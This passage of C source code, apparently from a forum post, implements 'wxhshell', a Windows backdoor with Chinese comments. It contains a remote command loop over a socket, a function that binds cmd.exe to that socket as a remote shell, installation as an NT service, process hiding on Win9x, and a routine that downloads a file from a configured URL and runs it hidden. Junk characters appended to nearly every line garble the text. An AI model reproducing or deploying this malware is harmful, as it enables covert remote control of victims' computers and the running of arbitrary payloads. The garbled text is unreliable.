lg >AWTW[  
    switch(cmd[0]) { 2hJ3m+N^  
  Z!reX6  
  // 帮助 (N|xDl &;  
  case '?': { )`mF.87b&h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G3+a+=e  
    break; {Ch"zuPX  
  } F |81i$R  
  // 安装 +c`C9RXk  
  case 'i': { ~4MjJKzA  
    if(Install()) K)&XQ`&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$UZL  
    else vw] D{OBv*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tQ JH'YV  
    break; [V, ;X  
    } :s '"u]  
  // 卸载 (B,t 1+%  
  case 'r': { *u'`XRJU/  
    if(Uninstall()) Wmxw!   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jA4v?(AO}#  
    else $L8s/1up  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K)UOx#xe1  
    break; "!6~*!]c  
    } Y0O<]2yVx  
  // 显示 wxhshell 所在路径 y~c[sW   
  case 'p': { ptyDv  
    char svExeFile[MAX_PATH]; l=~9 9mE  
    strcpy(svExeFile,"\n\r"); +1jqCW  
      strcat(svExeFile,ExeFile); 50bP&dj&  
        send(wsh,svExeFile,strlen(svExeFile),0); ioa_AG6B  
    break; NvHy'  
    } a~>0JmM+N  
  // 重启 e=)* O  
  case 'b': { ; :\,x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8tRh V2  
    if(Boot(REBOOT)) eKpxskbhZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1fhK{9#  
    else { G%8)6m'3  
    closesocket(wsh); 5`'au61/2  
    ExitThread(0); DD6`k*RIk.  
    } <T.#A8c  
    break; YSz$` 7i  
    } K^& ]xFW  
  // 关机  !QW 0  
  case 'd': { y#Za|nt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0/00 W6r0  
    if(Boot(SHUTDOWN)) V?V)&y] 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3i| }`  
    else { KYmWfM3^  
    closesocket(wsh); Z=Y_;dS9  
    ExitThread(0);  z0Z\d  
    } iMeRQYW  
    break; yZ~eLWz  
    } J%-lw{FC  
  // 获取shell )"c]FI[}  
  case 's': { xBE RCO^  
    CmdShell(wsh); #b"5L2D`y'  
    closesocket(wsh); JXRf4QmG  
    ExitThread(0); > ?{iv1  
    break; `\4JwiPo  
  } 7~l  
  // 退出 seqF84Xd<  
  case 'x': { vu'!-K=0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XAULD]Q  
    CloseIt(wsh); HSr"M.k5  
    break; lfpt:5a9&  
    } &(uF&-PwO4  
  // 离开 o )nT   
  case 'q': { wp]7Lx?F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?m9UhLeaS=  
    closesocket(wsh); Va/@#=,q]  
    WSACleanup(); K,C $J I  
    exit(1); M\?uDC9  
    break; b6WC @j`*T  
        } 6|9g4@Hy  
  } ?<yq 2`\4O  
  } peTO-x^a-  
n"<GJ.{  
  // 提示信息 jQ_|z@OV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); leb^,1/D6  
} M8",t{7  
  } 8NAWA3^B  
_^xh1=Qr}n  
  return; X\3 ,NR,  
} {sfmWVp  
il>x!)?o  
// shell模块句柄 nzE,F\k  
int CmdShell(SOCKET sock) 32bkouq  
{ gM;)  
STARTUPINFO si; `3sy>GU?  
ZeroMemory(&si,sizeof(si)); ;*)fO? TG)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e1 {t0f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T) Zt'M  
PROCESS_INFORMATION ProcessInfo; 5}d/8tS  
char cmdline[]="cmd"; '!yS72{$2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |B1; l<|`  
  return 0; O'!r]0Q  
} <9d-Hz  
V$-~%7@>;9  
// 自身启动模式 _']%qd"%  
int StartFromService(void) I", &%0ycm  
{ _@BRpLs:4  
typedef struct bQ^DX `o6P  
{ /.| A  
  DWORD ExitStatus; cz7 CrK~5  
  DWORD PebBaseAddress; _\4`  
  DWORD AffinityMask; nI`f_sp  
  DWORD BasePriority; 6=G~6Qu  
  ULONG UniqueProcessId; zldfRo\wl  
  ULONG InheritedFromUniqueProcessId; *gM,x4Y  
}   PROCESS_BASIC_INFORMATION; [w&#+h-q  
7g A08M[O  
PROCNTQSIP NtQueryInformationProcess; kb"_6,[Ms  
z_:eM7]jv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c%AFo]H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gnQo1q{ 4  
rP^TN^bd|  
  HANDLE             hProcess; ()QOZ+x_!  
  PROCESS_BASIC_INFORMATION pbi; 7K>D@O  
E[|s>Xv~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  k#axt Sc  
  if(NULL == hInst ) return 0; AfbB~LlBq  
y*VQ]aJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AW,v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GI2eJK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "3{#d9Gs  
> 63)z I  
  if (!NtQueryInformationProcess) return 0; }}^,7npU  
&a%WM   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w/b>awI  
  if(!hProcess) return 0; =jg#fdM -  
..t,LU@|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0>,.c2),  
 ]{f^;y8  
  CloseHandle(hProcess); N$\ bg|v  
(C8 U   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); doP$N3Zm  
if(hProcess==NULL) return 0; v! 7s M  
_GVE^yW~z  
HMODULE hMod; ~Cjz29|gp  
char procName[255]; "w}-?:# j  
unsigned long cbNeeded; f4]N0  
"z rA``  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~bdv_|k  
0 HGlf  
  CloseHandle(hProcess); [8>z#*B  
BdN8 ^W  
if(strstr(procName,"services")) return 1; // 以服务启动 :83,[;GO2  
~I{EE[F>qL  
  return 0; // 注册表启动 9T(L"9r-e  
} ;B&^yj&;  
BjJ,"sT  
// 主模块 K)\(wxv  
int StartWxhshell(LPSTR lpCmdLine) 4p.^'2m  
{ PG{i,xq_B{  
  SOCKET wsl; ?b||Cr  
BOOL val=TRUE; =43I1&_   
  int port=0; 0cHfxy3  
  struct sockaddr_in door; O^5UB~  
KAd_zkUA  
  if(wscfg.ws_autoins) Install(); +7,8w  
'.?^uM  
port=atoi(lpCmdLine); b2N6L2~V  
6X/wd k  
if(port<=0) port=wscfg.ws_port; qE )Y}oN  
taweGc%~  
  WSADATA data; F\a]n^ Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pm4e8b  
cAD[3b[Gk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N_UQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tAF]2VV(e  
  door.sin_family = AF_INET; \tY"BC4.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i+g~ Uj}h  
  door.sin_port = htons(port); ,V,f2W 4  
$@_{p*q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 93j{.0]X  
closesocket(wsl); M\Se_  
return 1; &5?G-mn  
} PgMbMH  
z~,mRgc$B  
  if(listen(wsl,2) == INVALID_SOCKET) { |6aJwe+*  
closesocket(wsl); tQWWgLM  
return 1; oL]mjo=jN  
} \K;op2  
  Wxhshell(wsl); 089 k.WG  
  WSACleanup(); -"=)z /S  
~W<CE_/]k  
return 0; H@GE)I>^@  
o\Uu?.-<  
} 1BJ<m5/1%  
6B0# 4Qrv  
// 以NT服务方式启动 Gav"C{G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H$!+A  
{ Z7fg 25  
DWORD   status = 0; qj&b o  
  DWORD   specificError = 0xfffffff; .2 0V 3  
&)n_]R#)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \R(R9cry  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w/W7N   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \<~}o I  
  serviceStatus.dwWin32ExitCode     = 0; O sQkA2=  
  serviceStatus.dwServiceSpecificExitCode = 0; #uSK#>H_!  
  serviceStatus.dwCheckPoint       = 0; .wmnnvtl,  
  serviceStatus.dwWaitHint       = 0; wd[eJcQ,  
a d9CsvW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4WC9US-k  
  if (hServiceStatusHandle==0) return; C-m*?))go  
`5q ;ssu  
status = GetLastError(); yEq#Dr  
  if (status!=NO_ERROR) ?c]n^GvG  
{ Q $~n/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [:iv4>ZZ  
    serviceStatus.dwCheckPoint       = 0; 3GF2eS$$P  
    serviceStatus.dwWaitHint       = 0; &SH1q_&BQ  
    serviceStatus.dwWin32ExitCode     = status; ` J]xP$)  
    serviceStatus.dwServiceSpecificExitCode = specificError; WF2NG;f=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rAb&I"\ZY  
    return; >O#grDXb  
  } 24u x  
iXFP5a>|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c pk^!@c  
  serviceStatus.dwCheckPoint       = 0; i^)WPP>4Aw  
  serviceStatus.dwWaitHint       = 0; *FK`&(B+}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9xFO]Y"  
} Dw_D+7>(v  
Iy';x  
// 处理NT服务事件,比如:启动、停止 <xo-Fv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) */z??fI27  
{ 06 i;T~Y  
switch(fdwControl) o%`Xa#*Ly  
{ im]g(#GnKh  
case SERVICE_CONTROL_STOP: 7AwgJb hn  
  serviceStatus.dwWin32ExitCode = 0; x({H{'9?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9M a0^_  
  serviceStatus.dwCheckPoint   = 0; rv>^TR*,!  
  serviceStatus.dwWaitHint     = 0; BQ/PGY>  
  { \L # INP4~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S{#cD1>.  
  } }^-<k0A4?  
  return; 8 Ti G3  
case SERVICE_CONTROL_PAUSE: P:C2G(V1AR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -oyO+1V  
  break; bc I']WgB-  
case SERVICE_CONTROL_CONTINUE: Hp Vjee  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t\4[``t  
  break; D)Q)NI  
case SERVICE_CONTROL_INTERROGATE: >\2:\wI  
  break; kL>d"w  
}; @F~LW6K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^e Gue  
} jZpa0grA  
9zBMlc$X  
// 标准应用程序主函数 1[;;sSp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) usFfMF X  
{ F%d \~Vj  
VsK>6S\T  
// 获取操作系统版本 a|4~NL  
OsIsNt=GetOsVer(); C3'rtY.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R@iUCT^$  
XL$* _c <)  
  // 从命令行安装 'zZcn" +!  
  if(strpbrk(lpCmdLine,"iI")) Install(); $w#r"= )  
#!2k<Q*5uT  
  // 下载执行文件 G8Z4J7^  
if(wscfg.ws_downexe) { i3VW1~.8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Km#pX1]>e  
  WinExec(wscfg.ws_filenam,SW_HIDE); *\uM.m0$  
} K_/zuTy  
EW<kI+0D  
if(!OsIsNt) { 3;[DJ5  
// 如果时win9x,隐藏进程并且设置为注册表启动 A"v{~  
HideProc();  Q=uRKh  
StartWxhshell(lpCmdLine); T?Fcohz(  
} S4CbyXW  
else ln!'_\{  
  if(StartFromService()) crcA\lJf  
  // 以服务方式启动 (u3s"I d  
  StartServiceCtrlDispatcher(DispatchTable); "2?l{4T\  
else 2@=IT0[E\  
  // 普通方式启动 j;1-p>z  
  StartWxhshell(lpCmdLine); hm*cw[#O1x  
1oLv.L  
return 0; 69K{+|  
}
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只看该作者 1 发表于: 2006-10-10
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